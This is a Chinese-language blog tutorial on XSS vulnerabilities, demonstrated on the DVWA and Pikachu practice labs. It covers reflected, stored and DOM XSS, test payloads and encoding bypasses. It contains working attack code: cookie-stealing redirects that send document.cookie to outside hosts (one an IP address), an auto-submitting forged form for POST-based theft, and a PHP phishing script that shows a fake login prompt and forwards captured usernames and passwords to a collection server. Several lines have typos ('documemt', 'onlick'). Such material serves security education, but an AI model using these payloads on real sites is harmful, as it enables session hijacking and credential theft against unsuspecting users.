XSS漏洞

前言

        在开发者利用编程语言编写动态网页时,可能会习惯性地把用户的输入不做任何处理直接返回到客户端上,这时如果插入一段恶意代码在页面上,就会对客户端产生一些不利地影响。接下来本文将介绍这种漏洞——XSS漏洞。

一、XSS漏洞的概念

        通过操控输入就能在页面上插入可执行代码地漏洞就是XSS漏洞。XSS是一种网站应用程序地安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入页面上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML及用户端脚本语言。

二、 XSS漏洞分类及其原理

2.1 反射型XSS

        攻击者通过发送电子邮箱等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器会接受该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析了这段带有XSS代码的恶意代码后,就会触发XSS漏洞。反射型XSS漏洞又称非持久XSS漏洞,这种攻击方式往往是一次性的。

        接下来以DVWA靶场(这里级别选择了低)做示例:

        打开网站后,首先利用<script>alert(/xss/)</script>进行判断。但我们在对话框上输入后点击提交发现发生回显说明产生XSS漏洞。接下来便可以构造恶意脚本,例如<script>alert(document.cookie)</script>来获取cookie值。·

        因为我们将代码上传后,在浏览器渲染时,执行了我们构造的恶意语句,JavaScript中函数alert()的作用就是让浏览器弹框,所以浏览器会显示/xss/,如上图所示。而document.cookie是获取cookie值。

2.2 存储型XSS

        这种攻击多见于论坛、博客和留言板,攻击者再发帖的过程中,将恶意代码脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。交互数据一般存放在数据库中,一般出现在留言板,注册等页面。

        接下来以DVWA靶场(这里级别选择了低)做示例:

        打开网站后,首先利用<script>alert(123)</script>进行判断。但我们在对话框上输入后点击提交发现发生回显说明产生XSS漏洞。接下来便可以构造恶意脚本。

        我们可以发现其是存入到数据库中的,所以此时可以利用给该特性去获取管理员或者其他用户的cookie或其他攻击方法。

2.3 DOM型XSS

        用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM就会处理XSS代码,导致存在XSS漏洞。通过JS代码操作DOM文档对象模型时,触发的漏洞,一般不与服务端进行交互。

        接下来以DVWA靶场(这里级别选择了低)做示例:

        将传入的参数改为“<script>alert(123)</script>”我们可以发现其出现了弹窗,存在XSS漏洞。

        当代码中出现以下函数时,则可能出现DOM型XSS攻击。

document.referer
window.name
location
innerHTML
document.write

        闭合标签的构造,同时也可以利用confirm进行弹窗测试

' onlick="alert(1111)"
' onlick="alert('xss')">
'><img src="#" onmouseover='alert("xss")'>

三、 HTML中XSS常利用事件

        很多时候,我们并不能直接插入script标签去进行XSS,这时我们就要想办法借助其他标签实践,如img,autio等标签。像下面所示:

<img src="xxx" onerror='alert(1)' />

        随便写入一个src图片的地址,需要的是它加载失败,触发onerror标签,这个标签里的代码会在图片加载出错时执行。常用的事件标签如下。

  • onerror:在该标签加载资源出错时会被执行。
  • onload:在资源被加载时会被执行。
  • onmouseover:在鼠标略过这个元素时会被执行。
  • onfocus:当页面的焦点被聚集到这个元素上时会被执行

 四、 XSS漏洞常用的测试语句以及编码绕过

        XSS 漏洞常用的测试语句有以下几种

<script>alert(1)</script>
<img src=x onerror = alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

4.1 JavaScript编码

        JavaScript提供了四种字符编码的策略

  • 三个八进制数字,如果个数不够,就在前面补0,例如“e”的编码为"\145"

  • 两个十六进制数字,如果个数不够,就在前面补0,例如“e”的编码为“\x65”

  • 四个十六进制数字,如果个数不够,就在前面补0,例如“e”的编码为“\u0065”

  • 对于一些控制字符,使用特殊的C类型的转移风格(例如\n和\r)

4.2 HTML 实体编码

        命名实体:以"&"开头,以分号结尾,例如“<”的编码是"& lt;"

        字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为"&#数值;",例如“<”可以被编码为" & #060;"和"& #x3c;"

4.3 URL编码

        这里的URL编码,也是两次URL全编码的结果。如果alert被过滤,则结果为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34

        在使用XSS编码测试时,先不要选择合适的编码方式进行测试。

五、 利用XSS漏洞获取Cookie

5.1 GET请求5.2

        在F12中,利用控制台可以进行脚本的书写

document.location.href //查看当前的网页

location.href="http://www.baidu.com";  //跳转到某个页面

document.cookie //获取cookie值

location.href = 'http://121.62.16.96:39652/vul/xss/xss_stored.php?cookie='+documemt.cookie;  //获取该网站的cookie,用于攻击别人

        在输入这段脚本以后,便可以实现获取对方cookie值(当然要用自己搭建的网站,即百度的网址需要更换)

'"><script>document.location='https://www.baidu.com/index.php?cookie='+document.cookie;</script>

        

        成功获取cookie值

5.2 POST请求

        需要伪造一个网页HTML文件出来

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://pikachu:6742/pkxss/xcookie/pkxss_cookie_result.php">    <!--这里为被攻击者的网站 -->
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://pikachu:6742/pkxss/xcookie/cookie.php?cookie=' + document.cookie;   <!-- 这里为攻击者的网站 -->
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

        伪造好该网站后将该网站发给已登陆的用户,点开即可跳转获取cookie值,将cookie复制粘贴后用Burip Suite发送。

        点击含有登陆信息的浏览器打开

        这是登录过后

        点击打开后,跳转到伪造页面,并成功获取cookie值

六、XSS 钓鱼演示

        在存在存储型XSS漏洞的网站上,写入该代码

<script src="http://pikachu:6742/pkxss/xfish/fish.php"></script>

        fish.php

<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='认证'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
    header("Location: http://http://pikachu:6742//pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
    &password={$_SERVER[PHP_AUTH_PW]}");
}

?>

        弹窗在另外一个浏览器中显示,即可获取账号密码

七、XSS盲打

        XSS 盲打就是攻击者在前端提交的数据不知道后台是否存在XSS 漏洞的情况下,提交恶意JS 代码在类似留言板等输入框后,所展示的后台位置的情况下,网站采用了攻击者插入的恶意代码。当后台管理员在操作时就会触发恶意代码,从而达到攻击者的目的。         

posted @ 2025-10-05 13:51  困困小猫log  阅读(6)  评论(0)    收藏  举报  来源